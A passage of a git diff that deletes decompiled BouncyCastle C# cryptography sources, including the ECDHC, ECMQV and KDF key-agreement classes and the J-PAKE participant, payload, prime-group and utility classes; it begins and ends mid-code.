eCPoint2.AffineXCoord.ToBigInteger(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHCBasicAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHCBasicAgreement.cs deleted file mode 100644 index 4b7dc94..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHCBasicAgreement.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class ECDHCBasicAgreement : IBasicAgreement -{ - private ECPrivateKeyParameters privKey; - - public virtual void Init(ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - privKey = (ECPrivateKeyParameters)parameters; - } - - public virtual int GetFieldSize() - { - return (privKey.Parameters.Curve.FieldSize + 7) / 8; - } - - public virtual BigInteger CalculateAgreement(ICipherParameters pubKey) - { - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)pubKey; - ECDomainParameters parameters = privKey.Parameters; - if (!parameters.Equals(eCPublicKeyParameters.Parameters)) - { - throw new InvalidOperationException("ECDHC public key has wrong domain parameters"); - } - BigInteger b = parameters.H.Multiply(privKey.D).Mod(parameters.N); - ECPoint eCPoint = ECAlgorithms.CleanPoint(parameters.Curve, eCPublicKeyParameters.Q); - if (eCPoint.IsInfinity) - { - throw new InvalidOperationException("Infinity is not a valid public key for ECDHC"); - } - ECPoint eCPoint2 = eCPoint.Multiply(b).Normalize(); - if (eCPoint2.IsInfinity) - { - throw new InvalidOperationException("Infinity is not a valid agreement value for ECDHC"); - } - return eCPoint2.AffineXCoord.ToBigInteger(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHWithKdfBasicAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHWithKdfBasicAgreement.cs deleted file mode 100644 index 4333e8e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHWithKdfBasicAgreement.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto.Agreement.Kdf; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class ECDHWithKdfBasicAgreement : ECDHBasicAgreement -{ - private readonly string algorithm; - - private readonly IDerivationFunction kdf; - - public ECDHWithKdfBasicAgreement(string algorithm, IDerivationFunction kdf) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (kdf == null) - { - throw new ArgumentNullException("kdf"); - } - this.algorithm = algorithm; - this.kdf = kdf; - } - - public override BigInteger CalculateAgreement(ICipherParameters pubKey) - { - BigInteger r = base.CalculateAgreement(pubKey); - int defaultKeySize = GeneratorUtilities.GetDefaultKeySize(algorithm); - DHKdfParameters parameters = new DHKdfParameters(new DerObjectIdentifier(algorithm), defaultKeySize, BigIntToBytes(r)); - kdf.Init(parameters); - byte[] array = new byte[defaultKeySize / 8]; - kdf.GenerateBytes(array, 0, array.Length); - return new BigInteger(1, array); - } - - private byte[] BigIntToBytes(BigInteger r) - { - int byteLength = X9IntegerConverter.GetByteLength(privKey.Parameters.Curve); - return X9IntegerConverter.IntegerToBytes(r, byteLength); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECMqvBasicAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECMqvBasicAgreement.cs deleted file mode 100644 index d36b077..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECMqvBasicAgreement.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class ECMqvBasicAgreement : IBasicAgreement -{ - protected internal MqvPrivateParameters privParams; - - public virtual void Init(ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - privParams = (MqvPrivateParameters)parameters; - } - - public virtual int GetFieldSize() - { - return (privParams.StaticPrivateKey.Parameters.Curve.FieldSize + 7) / 8; - } - - public virtual BigInteger CalculateAgreement(ICipherParameters pubKey) - { - MqvPublicParameters mqvPublicParameters = (MqvPublicParameters)pubKey; - ECPrivateKeyParameters staticPrivateKey = privParams.StaticPrivateKey; - ECDomainParameters parameters = staticPrivateKey.Parameters; - if (!parameters.Equals(mqvPublicParameters.StaticPublicKey.Parameters)) - { - throw new InvalidOperationException("ECMQV public key components have wrong domain parameters"); - } - ECPoint eCPoint = CalculateMqvAgreement(parameters, staticPrivateKey, privParams.EphemeralPrivateKey, privParams.EphemeralPublicKey, mqvPublicParameters.StaticPublicKey, mqvPublicParameters.EphemeralPublicKey).Normalize(); - if (eCPoint.IsInfinity) - { - throw new InvalidOperationException("Infinity is not a valid agreement value for MQV"); - } - return eCPoint.AffineXCoord.ToBigInteger(); - } - - private static ECPoint CalculateMqvAgreement(ECDomainParameters parameters, ECPrivateKeyParameters d1U, ECPrivateKeyParameters d2U, ECPublicKeyParameters Q2U, ECPublicKeyParameters Q1V, ECPublicKeyParameters Q2V) - { - BigInteger n = parameters.N; - int num = (n.BitLength + 1) / 2; - BigInteger m = BigInteger.One.ShiftLeft(num); - ECCurve curve = parameters.Curve; - ECPoint eCPoint = ECAlgorithms.CleanPoint(curve, Q2U.Q); - ECPoint p = ECAlgorithms.CleanPoint(curve, Q1V.Q); - ECPoint eCPoint2 = ECAlgorithms.CleanPoint(curve, Q2V.Q); - BigInteger bigInteger = eCPoint.AffineXCoord.ToBigInteger(); - BigInteger bigInteger2 = bigInteger.Mod(m); - BigInteger val = bigInteger2.SetBit(num); - BigInteger val2 = d1U.D.Multiply(val).Add(d2U.D).Mod(n); - BigInteger bigInteger3 = eCPoint2.AffineXCoord.ToBigInteger(); - BigInteger bigInteger4 = bigInteger3.Mod(m); - BigInteger bigInteger5 = bigInteger4.SetBit(num); - BigInteger bigInteger6 = parameters.H.Multiply(val2).Mod(n); - return ECAlgorithms.SumOfTwoMultiplies(p, bigInteger5.Multiply(bigInteger6).Mod(n), eCPoint2, bigInteger6); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECMqvWithKdfBasicAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECMqvWithKdfBasicAgreement.cs deleted file mode 100644 index 3516a54..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECMqvWithKdfBasicAgreement.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto.Agreement.Kdf; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class ECMqvWithKdfBasicAgreement : ECMqvBasicAgreement -{ - private readonly string algorithm; - - private readonly IDerivationFunction kdf; - - public ECMqvWithKdfBasicAgreement(string algorithm, IDerivationFunction kdf) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (kdf == null) - { - throw new ArgumentNullException("kdf"); - } - this.algorithm = algorithm; - this.kdf = kdf; - } - - public override BigInteger CalculateAgreement(ICipherParameters pubKey) - { - BigInteger r = base.CalculateAgreement(pubKey); - int defaultKeySize = GeneratorUtilities.GetDefaultKeySize(algorithm); - DHKdfParameters parameters = new DHKdfParameters(new DerObjectIdentifier(algorithm), defaultKeySize, BigIntToBytes(r)); - kdf.Init(parameters); - byte[] array = new byte[defaultKeySize / 8]; - kdf.GenerateBytes(array, 0, array.Length); - return new BigInteger(1, array); - } - - private byte[] BigIntToBytes(BigInteger r) - { - int byteLength = X9IntegerConverter.GetByteLength(privParams.StaticPrivateKey.Parameters.Curve); - return X9IntegerConverter.IntegerToBytes(r, byteLength); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeParticipant.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeParticipant.cs deleted file mode 100644 index f1fbce1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeParticipant.cs +++ /dev/null @@ -1,220 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public class JPakeParticipant -{ - public static readonly int STATE_INITIALIZED = 0; - - public static readonly int STATE_ROUND_1_CREATED = 10; - - public static readonly int STATE_ROUND_1_VALIDATED = 20; - - public static readonly int STATE_ROUND_2_CREATED = 30; - - public static readonly int STATE_ROUND_2_VALIDATED = 40; - - public static readonly int STATE_KEY_CALCULATED = 50; - - public static readonly int STATE_ROUND_3_CREATED = 60; - - public static readonly int STATE_ROUND_3_VALIDATED = 70; - - private string participantId; - - private char[] password; - - private IDigest digest; - - private readonly SecureRandom random; - - private readonly BigInteger p; - - private readonly BigInteger q; - - private readonly BigInteger g; - - private string partnerParticipantId; - - private BigInteger x1; - - private BigInteger x2; - - private BigInteger gx1; - - private BigInteger gx2; - - private BigInteger gx3; - - private BigInteger gx4; - - private BigInteger b; - - private int state; - - public virtual int State => state; - - public JPakeParticipant(string participantId, char[] password) - : this(participantId, password, JPakePrimeOrderGroups.NIST_3072) - { - } - - public JPakeParticipant(string participantId, char[] password, JPakePrimeOrderGroup group) - : this(participantId, password, group, new Sha256Digest(), new SecureRandom()) - { - } - - public JPakeParticipant(string participantId, char[] password, JPakePrimeOrderGroup group, IDigest digest, SecureRandom random) - { - JPakeUtilities.ValidateNotNull(participantId, "participantId"); - JPakeUtilities.ValidateNotNull(password, "password"); - JPakeUtilities.ValidateNotNull(group, "p"); - JPakeUtilities.ValidateNotNull(digest, "digest"); - JPakeUtilities.ValidateNotNull(random, "random"); - if (password.Length == 0) - { - throw new ArgumentException("Password must not be empty."); - } - this.participantId = participantId; - this.password = new char[password.Length]; - Array.Copy(password, this.password, password.Length); - p = group.P; - q = group.Q; - g = group.G; - this.digest = digest; - this.random = random; - state = STATE_INITIALIZED; - } - - public virtual JPakeRound1Payload CreateRound1PayloadToSend() - { - if (state >= STATE_ROUND_1_CREATED) - { - throw new InvalidOperationException("Round 1 payload already created for " + participantId); - } - x1 = JPakeUtilities.GenerateX1(q, random); - x2 = JPakeUtilities.GenerateX2(q, random); - gx1 = JPakeUtilities.CalculateGx(p, g, x1); - gx2 = JPakeUtilities.CalculateGx(p, g, x2); - BigInteger[] knowledgeProofForX = JPakeUtilities.CalculateZeroKnowledgeProof(p, q, g, gx1, x1, participantId, digest, random); - BigInteger[] knowledgeProofForX2 = JPakeUtilities.CalculateZeroKnowledgeProof(p, q, g, gx2, x2, participantId, digest, random); - state = STATE_ROUND_1_CREATED; - return new JPakeRound1Payload(participantId, gx1, gx2, knowledgeProofForX, knowledgeProofForX2); - } - - public virtual void ValidateRound1PayloadReceived(JPakeRound1Payload round1PayloadReceived) - { - if (state >= STATE_ROUND_1_VALIDATED) - { - throw new InvalidOperationException("Validation already attempted for round 1 payload for " + participantId); - } - partnerParticipantId = round1PayloadReceived.ParticipantId; - gx3 = round1PayloadReceived.Gx1; - gx4 = round1PayloadReceived.Gx2; - BigInteger[] knowledgeProofForX = round1PayloadReceived.KnowledgeProofForX1; - BigInteger[] knowledgeProofForX2 = round1PayloadReceived.KnowledgeProofForX2; - JPakeUtilities.ValidateParticipantIdsDiffer(participantId, round1PayloadReceived.ParticipantId); - JPakeUtilities.ValidateGx4(gx4); - JPakeUtilities.ValidateZeroKnowledgeProof(p, q, g, gx3, knowledgeProofForX, round1PayloadReceived.ParticipantId, digest); - JPakeUtilities.ValidateZeroKnowledgeProof(p, q, g, gx4, knowledgeProofForX2, round1PayloadReceived.ParticipantId, digest); - state = STATE_ROUND_1_VALIDATED; - } - - public virtual JPakeRound2Payload CreateRound2PayloadToSend() - { - if (state >= STATE_ROUND_2_CREATED) - { - throw new InvalidOperationException("Round 2 payload already created for " + participantId); - } - if (state < STATE_ROUND_1_VALIDATED) - { - throw new InvalidOperationException("Round 1 payload must be validated prior to creating round 2 payload for " + participantId); - } - BigInteger gA = JPakeUtilities.CalculateGA(p, gx1, gx3, gx4); - BigInteger s = JPakeUtilities.CalculateS(password); - BigInteger bigInteger = JPakeUtilities.CalculateX2s(q, x2, s); - BigInteger bigInteger2 = JPakeUtilities.CalculateA(p, q, gA, bigInteger); - BigInteger[] knowledgeProofForX2s = JPakeUtilities.CalculateZeroKnowledgeProof(p, q, gA, bigInteger2, bigInteger, participantId, digest, random); - state = STATE_ROUND_2_CREATED; - return new JPakeRound2Payload(participantId, bigInteger2, knowledgeProofForX2s); - } - - public virtual void ValidateRound2PayloadReceived(JPakeRound2Payload round2PayloadReceived) - { - if (state >= STATE_ROUND_2_VALIDATED) - { - throw new InvalidOperationException("Validation already attempted for round 2 payload for " + participantId); - } - if (state < STATE_ROUND_1_VALIDATED) - { - throw new InvalidOperationException("Round 1 payload must be validated prior to validation round 2 payload for " + participantId); - } - BigInteger ga = JPakeUtilities.CalculateGA(p, gx3, gx1, gx2); - b = round2PayloadReceived.A; - BigInteger[] knowledgeProofForX2s = round2PayloadReceived.KnowledgeProofForX2s; - JPakeUtilities.ValidateParticipantIdsDiffer(participantId, round2PayloadReceived.ParticipantId); - JPakeUtilities.ValidateParticipantIdsEqual(partnerParticipantId, round2PayloadReceived.ParticipantId); - JPakeUtilities.ValidateGa(ga); - JPakeUtilities.ValidateZeroKnowledgeProof(p, q, ga, b, knowledgeProofForX2s, round2PayloadReceived.ParticipantId, digest); - state = STATE_ROUND_2_VALIDATED; - } - - public virtual BigInteger CalculateKeyingMaterial() - { - if (state >= STATE_KEY_CALCULATED) - { - throw new InvalidOperationException("Key already calculated for " + participantId); - } - if (state < STATE_ROUND_2_VALIDATED) - { - throw new InvalidOperationException("Round 2 payload must be validated prior to creating key for " + participantId); - } - BigInteger s = JPakeUtilities.CalculateS(password); - Array.Clear(password, 0, password.Length); - password = null; - BigInteger result = JPakeUtilities.CalculateKeyingMaterial(p, q, gx4, x2, s, b); - x1 = null; - x2 = null; - b = null; - state = STATE_KEY_CALCULATED; - return result; - } - - public virtual JPakeRound3Payload CreateRound3PayloadToSend(BigInteger keyingMaterial) - { - if (state >= STATE_ROUND_3_CREATED) - { - throw new InvalidOperationException("Round 3 payload already created for " + participantId); - } - if (state < STATE_KEY_CALCULATED) - { - throw new InvalidOperationException("Keying material must be calculated prior to creating round 3 payload for " + participantId); - } - BigInteger magTag = JPakeUtilities.CalculateMacTag(participantId, partnerParticipantId, gx1, gx2, gx3, gx4, keyingMaterial, digest); - state = STATE_ROUND_3_CREATED; - return new JPakeRound3Payload(participantId, magTag); - } - - public virtual void ValidateRound3PayloadReceived(JPakeRound3Payload round3PayloadReceived, BigInteger keyingMaterial) - { - if (state >= STATE_ROUND_3_VALIDATED) - { - throw new InvalidOperationException("Validation already attempted for round 3 payload for " + participantId); - } - if (state < STATE_KEY_CALCULATED) - { - throw new InvalidOperationException("Keying material must be calculated prior to validating round 3 payload for " + participantId); - } - JPakeUtilities.ValidateParticipantIdsDiffer(participantId, round3PayloadReceived.ParticipantId); - JPakeUtilities.ValidateParticipantIdsEqual(partnerParticipantId, round3PayloadReceived.ParticipantId); - JPakeUtilities.ValidateMacTag(participantId, partnerParticipantId, gx1, gx2, gx3, gx4, keyingMaterial, digest, round3PayloadReceived.MacTag); - gx1 = null; - gx2 = null; - gx3 = null; - gx4 = null; - state = STATE_ROUND_3_VALIDATED; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakePrimeOrderGroup.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakePrimeOrderGroup.cs deleted file mode 100644 index e5f1c46..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakePrimeOrderGroup.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public class JPakePrimeOrderGroup -{ - private readonly BigInteger p; - - private readonly BigInteger q; - - private readonly BigInteger g; - - public virtual BigInteger P => p; - - public virtual BigInteger Q => q; - - public virtual BigInteger G => g; - - public JPakePrimeOrderGroup(BigInteger p, BigInteger q, BigInteger g) - : this(p, q, g, skipChecks: false) - { - } - - public JPakePrimeOrderGroup(BigInteger p, BigInteger q, BigInteger g, bool skipChecks) - { - JPakeUtilities.ValidateNotNull(p, "p"); - JPakeUtilities.ValidateNotNull(q, "q"); - JPakeUtilities.ValidateNotNull(g, "g"); - if (!skipChecks) - { - if (!p.Subtract(JPakeUtilities.One).Mod(q).Equals(JPakeUtilities.Zero)) - { - throw new ArgumentException("p-1 must be evenly divisible by q"); - } - if (g.CompareTo(BigInteger.Two) == -1 || g.CompareTo(p.Subtract(JPakeUtilities.One)) == 1) - { - throw new ArgumentException("g must be in [2, p-1]"); - } - if (!g.ModPow(q, p).Equals(JPakeUtilities.One)) - { - throw new ArgumentException("g^q mod p must equal 1"); - } - if (!p.IsProbablePrime(20)) - { - throw new ArgumentException("p must be prime"); - } - if (!q.IsProbablePrime(20)) - { - throw new ArgumentException("q must be prime"); - } - } - this.p = p; - this.q = q; - this.g = g; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakePrimeOrderGroups.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakePrimeOrderGroups.cs deleted file mode 100644 index 9aea51b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakePrimeOrderGroups.cs +++ /dev/null @@ -1,12 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public class JPakePrimeOrderGroups -{ - public static readonly JPakePrimeOrderGroup SUN_JCE_1024 = new JPakePrimeOrderGroup(new BigInteger("fd7f53811d75122952df4a9c2eece4e7f611b7523cef4400c31e3f80b6512669455d402251fb593d8d58fabfc5f5ba30f6cb9b556cd7813b801d346ff26660b76b9950a5a49f9fe8047b1022c24fbba9d7feb7c61bf83b57e7c6a8a6150f04fb83f6d3c51ec3023554135a169132f675f3ae2b61d72aeff22203199dd14801c7", 16), new BigInteger("9760508f15230bccb292b982a2eb840bf0581cf5", 16), new BigInteger("f7e1a085d69b3ddecbbcab5c36b857b97994afbbfa3aea82f9574c0b3d0782675159578ebad4594fe67107108180b449167123e84c281613b7cf09328cc8a6e13c167a8b547c8d28e0a3ae1e2bb3a675916ea37f0bfa213562f1fb627a01243bcca4f1bea8519089a883dfe15ae59f06928b665e807b552564014c3bfecf492a", 16), skipChecks: true); - - public static readonly JPakePrimeOrderGroup NIST_2048 = new JPakePrimeOrderGroup(new BigInteger("C196BA05AC29E1F9C3C72D56DFFC6154A033F1477AC88EC37F09BE6C5BB95F51C296DD20D1A28A067CCC4D4316A4BD1DCA55ED1066D438C35AEBAABF57E7DAE428782A95ECA1C143DB701FD48533A3C18F0FE23557EA7AE619ECACC7E0B51652A8776D02A425567DED36EABD90CA33A1E8D988F0BBB92D02D1D20290113BB562CE1FC856EEB7CDD92D33EEA6F410859B179E7E789A8F75F645FAE2E136D252BFFAFF89528945C1ABE705A38DBC2D364AADE99BE0D0AAD82E5320121496DC65B3930E38047294FF877831A16D5228418DE8AB275D7D75651CEFED65F78AFC3EA7FE4D79B35F62A0402A1117599ADAC7B269A59F353CF450E6982D3B1702D9CA83", 16), new BigInteger("90EAF4D1AF0708B1B612FF35E0A2997EB9E9D263C9CE659528945C0D", 16), new BigInteger("A59A749A11242C58C894E9E5A91804E8FA0AC64B56288F8D47D51B1EDC4D65444FECA0111D78F35FC9FDD4CB1F1B79A3BA9CBEE83A3F811012503C8117F98E5048B089E387AF6949BF8784EBD9EF45876F2E6A5A495BE64B6E770409494B7FEE1DBB1E4B2BC2A53D4F893D418B7159592E4FFFDF6969E91D770DAEBD0B5CB14C00AD68EC7DC1E5745EA55C706C4A1C5C88964E34D09DEB753AD418C1AD0F4FDFD049A955E5D78491C0B7A2F1575A008CCD727AB376DB6E695515B05BD412F5B8C2F4C77EE10DA48ABD53F5DD498927EE7B692BBBCDA2FB23A516C5B4533D73980B2A3B60E384ED200AE21B40D273651AD6060C13D97FD69AA13C5611A51B9085", 16), skipChecks: true); - - public static readonly JPakePrimeOrderGroup NIST_3072 = new JPakePrimeOrderGroup(new BigInteger("90066455B5CFC38F9CAA4A48B4281F292C260FEEF01FD61037E56258A7795A1C7AD46076982CE6BB956936C6AB4DCFE05E6784586940CA544B9B2140E1EB523F009D20A7E7880E4E5BFA690F1B9004A27811CD9904AF70420EEFD6EA11EF7DA129F58835FF56B89FAA637BC9AC2EFAAB903402229F491D8D3485261CD068699B6BA58A1DDBBEF6DB51E8FE34E8A78E542D7BA351C21EA8D8F1D29F5D5D15939487E27F4416B0CA632C59EFD1B1EB66511A5A0FBF615B766C5862D0BD8A3FE7A0E0DA0FB2FE1FCB19E8F9996A8EA0FCCDE538175238FC8B0EE6F29AF7F642773EBE8CD5402415A01451A840476B2FCEB0E388D30D4B376C37FE401C2A2C2F941DAD179C540C1C8CE030D460C4D983BE9AB0B20F69144C1AE13F9383EA1C08504FB0BF321503EFE43488310DD8DC77EC5B8349B8BFE97C2C560EA878DE87C11E3D597F1FEA742D73EEC7F37BE43949EF1A0D15C3F3E3FC0A8335617055AC91328EC22B50FC15B941D3D1624CD88BC25F3E941FDDC6200689581BFEC416B4B2CB73", 16), new BigInteger("CFA0478A54717B08CE64805B76E5B14249A77A4838469DF7F7DC987EFCCFB11D", 16), new BigInteger("5E5CBA992E0A680D885EB903AEA78E4A45A469103D448EDE3B7ACCC54D521E37F84A4BDD5B06B0970CC2D2BBB715F7B82846F9A0C393914C792E6A923E2117AB805276A975AADB5261D91673EA9AAFFEECBFA6183DFCB5D3B7332AA19275AFA1F8EC0B60FB6F66CC23AE4870791D5982AAD1AA9485FD8F4A60126FEB2CF05DB8A7F0F09B3397F3937F2E90B9E5B9C9B6EFEF642BC48351C46FB171B9BFA9EF17A961CE96C7E7A7CC3D3D03DFAD1078BA21DA425198F07D2481622BCE45969D9C4D6063D72AB7A0F08B2F49A7CC6AF335E08C4720E31476B67299E231F8BD90B39AC3AE3BE0C6B6CACEF8289A2E2873D58E51E029CAFBD55E6841489AB66B5B4B9BA6E2F784660896AFF387D92844CCB8B69475496DE19DA2E58259B090489AC8E62363CDF82CFD8EF2A427ABCD65750B506F56DDE3B988567A88126B914D7828E2B63A6D7ED0747EC59E0E0A23CE7D8A74C1D2C2A7AFB6A29799620F00E11C33787F7DED3B30E1A22D09F1FBDA1ABBBFBF25CAE05A13F812E34563F99410E73B", 16), skipChecks: true); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound1Payload.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound1Payload.cs deleted file mode 100644 index cb3fa11..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound1Payload.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public class JPakeRound1Payload -{ - private readonly string participantId; - - private readonly BigInteger gx1; - - private readonly BigInteger gx2; - - private readonly BigInteger[] knowledgeProofForX1; - - private readonly BigInteger[] knowledgeProofForX2; - - public virtual string ParticipantId => participantId; - - public virtual BigInteger Gx1 => gx1; - - public virtual BigInteger Gx2 => gx2; - - public virtual BigInteger[] KnowledgeProofForX1 - { - get - { - BigInteger[] array = new BigInteger[knowledgeProofForX1.Length]; - Array.Copy(knowledgeProofForX1, array, knowledgeProofForX1.Length); - return array; - } - } - - public virtual BigInteger[] KnowledgeProofForX2 - { - get - { - BigInteger[] array = new BigInteger[knowledgeProofForX2.Length]; - Array.Copy(knowledgeProofForX2, array, knowledgeProofForX2.Length); - return array; - } - } - - public JPakeRound1Payload(string participantId, BigInteger gx1, BigInteger gx2, BigInteger[] knowledgeProofForX1, BigInteger[] knowledgeProofForX2) - { - JPakeUtilities.ValidateNotNull(participantId, "participantId"); - JPakeUtilities.ValidateNotNull(gx1, "gx1"); - JPakeUtilities.ValidateNotNull(gx2, "gx2"); - JPakeUtilities.ValidateNotNull(knowledgeProofForX1, "knowledgeProofForX1"); - JPakeUtilities.ValidateNotNull(knowledgeProofForX2, "knowledgeProofForX2"); - this.participantId = participantId; - this.gx1 = gx1; - this.gx2 = gx2; - this.knowledgeProofForX1 = new BigInteger[knowledgeProofForX1.Length]; - Array.Copy(knowledgeProofForX1, this.knowledgeProofForX1, knowledgeProofForX1.Length); - this.knowledgeProofForX2 = new BigInteger[knowledgeProofForX2.Length]; - Array.Copy(knowledgeProofForX2, this.knowledgeProofForX2, knowledgeProofForX2.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound2Payload.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound2Payload.cs deleted file mode 100644 index ef6230b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound2Payload.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public class JPakeRound2Payload -{ - private readonly string participantId; - - private readonly BigInteger a; - - private readonly BigInteger[] knowledgeProofForX2s; - - public virtual string ParticipantId => participantId; - - public virtual BigInteger A => a; - - public virtual BigInteger[] KnowledgeProofForX2s - { - get - { - BigInteger[] array = new BigInteger[knowledgeProofForX2s.Length]; - Array.Copy(knowledgeProofForX2s, array, knowledgeProofForX2s.Length); - return array; - } - } - - public JPakeRound2Payload(string participantId, BigInteger a, BigInteger[] knowledgeProofForX2s) - { - JPakeUtilities.ValidateNotNull(participantId, "participantId"); - JPakeUtilities.ValidateNotNull(a, "a"); - JPakeUtilities.ValidateNotNull(knowledgeProofForX2s, "knowledgeProofForX2s"); - this.participantId = participantId; - this.a = a; - this.knowledgeProofForX2s = new BigInteger[knowledgeProofForX2s.Length]; - knowledgeProofForX2s.CopyTo(this.knowledgeProofForX2s, 0); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound3Payload.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound3Payload.cs deleted file mode 100644 index 3b69e6f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeRound3Payload.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public class JPakeRound3Payload -{ - private readonly string participantId; - - private readonly BigInteger macTag; - - public virtual string ParticipantId => participantId; - - public virtual BigInteger MacTag => macTag; - - public JPakeRound3Payload(string participantId, BigInteger magTag) - { - this.participantId = participantId; - macTag = magTag; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeUtilities.cs deleted file mode 100644 index 33493fc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/JPake/JPakeUtilities.cs +++ /dev/null @@ -1,226 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Agreement.JPake; - -public abstract class JPakeUtilities -{ - public static readonly BigInteger Zero = BigInteger.Zero; - - public static readonly BigInteger One = BigInteger.One; - - public static BigInteger GenerateX1(BigInteger q, SecureRandom random) - { - BigInteger zero = Zero; - BigInteger max = q.Subtract(One); - return BigIntegers.CreateRandomInRange(zero, max, random); - } - - public static BigInteger GenerateX2(BigInteger q, SecureRandom random) - { - BigInteger one = One; - BigInteger max = q.Subtract(One); - return BigIntegers.CreateRandomInRange(one, max, random); - } - - public static BigInteger CalculateS(char[] password) - { - return new BigInteger(Encoding.UTF8.GetBytes(password)); - } - - public static BigInteger CalculateGx(BigInteger p, BigInteger g, BigInteger x) - { - return g.ModPow(x, p); - } - - public static BigInteger CalculateGA(BigInteger p, BigInteger gx1, BigInteger gx3, BigInteger gx4) - { - return gx1.Multiply(gx3).Multiply(gx4).Mod(p); - } - - public static BigInteger CalculateX2s(BigInteger q, 